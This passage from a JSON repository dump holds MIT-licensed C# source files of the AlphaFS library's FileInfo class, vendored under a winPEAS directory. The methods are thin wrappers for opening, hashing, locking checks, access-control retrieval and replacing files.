CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of <see cref=\"AlternateDataStreamInfo\"/> instances for the file.</summary>\n      /// <returns>An enumerable collection of <see cref=\"AlternateDataStreamInfo\"/> instances for the file.</returns>\n      [SecurityCritical]\n      public IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreams()\n      {\n         return File.EnumerateAlternateDataStreamsCore(Transaction, false, LongFullName, PathFormat.LongFullPath);\n      }    \n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.GetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Gets a <see cref=\"FileSecurity\"/> object that encapsulates the access control list (ACL) entries for the file described by the current <see cref=\"FileInfo\"/> object.</summary>\n      /// <returns><see cref=\"FileSecurity\"/>A FileSecurity object that encapsulates the access control rules for the current file.</returns>\n      [SecurityCritical]\n      public FileSecurity GetAccessControl()\n      {\n         return File.GetAccessControlCore<FileSecurity>(false, LongFullName, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Gets a <see cref=\"FileSecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the file described by the current FileInfo object.</summary>\n      /// <returns><see cref=\"FileSecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the file described by the current FileInfo object.</returns>\n      /// <param name=\"includeSections\">One of the <see cref=\"System.Security\"/> values that specifies which group of access control entries to retrieve.</param>\n      [SecurityCritical]\n      public FileSecurity GetAccessControl(AccessControlSections includeSections)\n      {\n         return File.GetAccessControlCore<FileSecurity>(false, LongFullName, includeSections, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.GetFileIdInfo.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Gets the unique identifier for the file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time.</remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public FileIdInfo GetFileIdInfo()\n      {\n         return File.GetFileIdInfoCore(Transaction, false, LongFullName, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.GetHash.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Alphaleonis.Win32.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Calculates the hash/checksum.</summary>\n      /// <param name=\"hashType\">One of the <see cref=\"HashType\"/> values.</param>\n      /// <returns>The hash/checksum of the file represented by this <see cref=\"FileInfo\"/>.</returns>\n      public string GetHash(HashType hashType)\n      {\n         return File.GetHashCore(Transaction, LongFullName, hashType, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.IsLocked.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Compresses a file using NTFS compression.</summary>      \n      /// <returns>Returns <c>true</c> if the specified file is in use (locked); otherwise, <c>false</c></returns>\n      [SecurityCritical]\n      public bool IsLocked()\n      {\n         return File.IsLockedCore(Transaction, LongFullName, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Open.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Opens a file in the specified mode.</summary>\n      /// <returns>A <see cref=\"FileStream\"/> file opened in the specified mode, with read/write access and unshared.</returns>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant specifying the mode (for example, Open or Append) in which to open the file.</param>\n      [SecurityCritical]\n      public FileStream Open(FileMode mode)\n      {\n         return File.OpenCore(Transaction, LongFullName, mode, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Opens a file in the specified mode with read, write, or read/write access.</summary>\n      /// <returns>A <see cref=\"FileStream\"/> object opened in the specified mode and access, and unshared.</returns>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant specifying the mode (for example, Open or Append) in which to open the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> constant specifying whether to open the file with Read, Write, or ReadWrite file access.</param>\n      [SecurityCritical]\n      public FileStream Open(FileMode mode, FileAccess access)\n      {\n         return File.OpenCore(Transaction, LongFullName, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Opens a file in the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <returns>A <see cref=\"FileStream\"/> object opened with the specified mode, access, and sharing options.</returns>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant specifying the mode (for example, Open or Append) in which to open the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> constant specifying whether to open the file with Read, Write, or ReadWrite file access.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant specifying the type of access other <see cref=\"FileStream\"/> objects have to this file.</param>\n      [SecurityCritical]\n      public FileStream Open(FileMode mode, FileAccess access, FileShare share)\n      {\n         return File.OpenCore(Transaction, LongFullName, mode, access, share, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Opens a file in the specified mode with read, write, or read/write access.</summary>\n      /// <returns>A <see cref=\"FileStream\"/> object opened in the specified mode and access, and unshared.</returns>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant specifying the mode (for example, Open or Append) in which to open the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileSystemRights\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten along with additional options.</param>\n      [SecurityCritical]\n      public FileStream Open(FileMode mode, FileSystemRights rights)\n      {\n         return File.OpenCore(Transaction, LongFullName, mode, rights, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Opens a file in the specified mode with read, write, or read/write access and the specified sharing option.</summary>\n      /// <returns>A <see cref=\"FileStream\"/> object opened with the specified mode, access, and sharing options.</returns>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant specifying the mode (for example, Open or Append) in which to open the file.</param>\n      /// <param name=\"rights\">A <see cref=\"FileSystemRights\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten along with additional options.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant specifying the type of access other <see cref=\"FileStream\"/> objects have to this file.</param>\n      [SecurityCritical]\n      public FileStream Open(FileMode mode, FileSystemRights rights, FileShare share)\n      {\n         return File.OpenCore(Transaction, LongFullName, mode, rights, share, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.OpenRead.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>Creates a read-only <see cref=\"FileStream\"/>.</summary>\n      /// <returns>A new read-only <see cref=\"FileStream\"/> object.</returns>\n      /// <remarks>This method returns a read-only <see cref=\"FileStream\"/> object with the <see cref=\"FileShare\"/> mode set to Read.</remarks>\n      [SecurityCritical]\n      public FileStream OpenRead()\n      {\n         return File.OpenCore(Transaction, LongFullName, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.OpenText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>Creates a <see cref=\"StreamReader\"/> with NativeMethods.DefaultFileEncoding encoding that reads from an existing text file.</summary>\n      /// <returns>A new <see cref=\"StreamReader\"/> with NativeMethods.DefaultFileEncoding encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public StreamReader OpenText()\n      {\n         return new StreamReader(File.OpenCore(Transaction, LongFullName, FileMode.Open, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath), NativeMethods.DefaultFileEncoding);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamReader\"/> with <see cref=\"Encoding\"/> that reads from an existing text file.</summary>\n      /// <returns>A new <see cref=\"StreamReader\"/> with the specified <see cref=\"Encoding\"/>.</returns>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public StreamReader OpenText(Encoding encoding)\n      {\n         return new StreamReader(File.OpenCore(Transaction, LongFullName, FileMode.Open, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath), encoding);\n      }\n\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.OpenWrite.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Creates a write-only <see cref=\"FileStream\"/>.</summary>\n      /// <returns>A write-only unshared <see cref=\"FileStream\"/> object for a new or existing file.</returns>\n      [SecurityCritical]\n      public FileStream OpenWrite()\n      {\n         return File.OpenCore(Transaction, LongFullName, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.RefreshEntryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      /// <summary>[AlphaFS] Refreshes the state of the <see cref=\"FileSystemEntryInfo\"/> EntryInfo property.</summary>\n      [SecurityCritical]\n      public new void RefreshEntryInfo()\n      {\n         base.RefreshEntryInfo();\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Replace.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Replaces the contents of a specified file with the file described by the current <see cref=\"FileInfo\"/> object, deleting the original file, and creating a backup of the replaced file.</summary>\n      /// <returns>A <see cref=\"FileInfo\"/> object that encapsulates information about the file described by the <paramref name=\"destinationFileName\"/> parameter.</returns>\n      /// <remarks>\n      ///   The Replace method replaces the contents of a specified file with the contents of the file described by the current\n      ///   <see cref=\"FileInfo\"/> object. It also creates a backup of the file that was replaced. Finally, it returns a new\n      ///    <see cref=\"FileInfo\"/> object that describes the overwritten file.\n      /// </remarks>\n      /// <remarks>Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being replaced.</remarks>\n      /// <param name=\"destinationFileName\">The name of a file to replace with the current file.</param>\n      /// <param name=\"destinationBackupFileName\">The name of a file with which to create a backup of the file described by the <paramref name=\"destinationFileName\"/> parameter.</param>\n      [SecurityCritical]\n      public FileInfo Replace(string destinationFileName, string destinationBackupFileName)\n      {\n         return Replace(destinationFileName, destinationBackupFileName, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Replaces the contents of a specified file with the file described by the current <see cref=\"FileInfo\"/> object, deleting the original file, and creating a backup of the replaced file. Also specifies whether to ignore merge errors.</summary>\n      /// <returns>A <see cref=\"FileInfo\"/> object that encapsulates information about the file described by the <paramref name=\"destinationFileName\"/> parameter.</returns>\n      /// <remarks>\n      ///   The Replace method replaces the contents of a specified file with the contents of the file described by the current\n      ///   <see cref=\"FileInfo\"/> object. It also creates a backup of the file that was replaced. Finally, it returns a new\n      ///   <see cref=\"FileInfo\"/> object that describes the overwritten file.\n      /// </remarks>\n      /// <remarks>Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being replaced.</remarks>\n      /// <param name=\"destinationFileName\">The name of a file to replace with the current file.</param>\n      /// <param name=\"destinationBackupFileName\">The name of a file with which to create a backup of the file described by the <paramref name=\"destinationFileName\"/> parameter.</param>\n      /// <param name=\"ignoreMetadataErrors\"><c>true</c> to ignore merge errors (such as attributes and ACLs) from the replaced file to the replacement file; otherwise, <c>false</c>.</param>\n      [SecurityCritical]\n      public FileInfo Replace(string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors)\n      {\n         return Replace(destinationFileName, destinationBackupFileName, ignoreMetadataErrors, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Replaces the contents of a specified file with the file described by the current <see cref=\"FileInfo\"/> object, deleting the original file, and creating a backup of the replaced file. Also specifies whether to ignore merge errors.</summary>\n      /// <returns>A <see cref=\"FileInfo\"/> object that encapsulates information about the file described by the <paramref name=\"destinationFileName\"/> parameter.</returns>\n      /// <remarks>\n      ///   The Replace method replaces the contents of a specified file with the contents of the file described by the current\n      ///   <see cref=\"FileInfo\"/> object. It also creates a backup of the file that was replaced. Finally, it returns a new\n      ///   <see cref=\"FileInfo\"/> object that describes the overwritten file.\n      /// </remarks>\n      /// <remarks>Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being replaced.</remarks>\n      /// <param name=\"destinationFileName\">The name of a file to replace with the current file.</param>\n      /// <param name=\"destinationBackupFileName\">The name of a file with which to create a backup of the file described by the <paramref name=\"destinationFileName\"/> parameter.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo Replace(string destinationFileName, string destinationBackupFileName, PathFormat pathFormat)\n      {\n         return Replace(destinationFileName, destinationBackupFileName, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Replaces the contents of a specified file with the file described by the current <see cref=\"FileInfo\"/> object, deleting the original file, and creating a backup of the replaced file. Also specifies whether to ignore merge errors.</summary>\n      /// <returns>A <see cref=\"FileInfo\"/> object that encapsulates information about the file described by the <paramref name=\"destinationFileName\"/> parameter.</returns>\n      /// <remarks>\n      ///   The Replace method replaces the contents of a specified file with the contents of the file described by the current\n      ///   <see cref=\"FileInfo\"/> object. It also creates a backup of the file that was replaced. Finally, it returns a new\n      ///   <see cref=\"FileInfo\"/> object that describes the overwritten file.\n      /// </remarks>\n      /// <remarks>Pass null to the <paramref name=\"destinationBackupFileName\"/> parameter if you do not want to create a backup of the file being replaced.</remarks>\n      /// <param name=\"destinationFileName\">The name of a file to replace with the current file.</param>\n      /// <param name=\"destinationBackupFileName\">The name of a file with which to create a backup of the file described by the <paramref name=\"destinationFileName\"/> parameter.</param>\n      /// <param name=\"ignoreMetadataErrors\"><c>true</c> to ignore merge errors (such as attributes and ACLs) from the replaced file to the replacement file; otherwise, <c>false</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public FileInfo Replace(string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors, PathFormat pathFormat)\n      {\n         const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck;\n\n         var destinationFileNameLp = Path.GetExtendedLengthPathCore(Transaction, destinationFileName, pathFormat, options);\n\n         var destinationBackupFileNameLp = destinationBackupFileName != null\n            ? Path.GetExtendedLengthPathCore(Transaction, destinationBackupFileName, pathFormat, options)\n            : null;\n\n         File.ReplaceCore(LongFullName, destinationFileNameLp, destinationBackupFileNameLp, ignoreMetadataErrors, PathFormat.LongFullPath);\n\n         return new FileInfo(Transaction, destinationFileNameLp, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.SetAccessControl.cs",
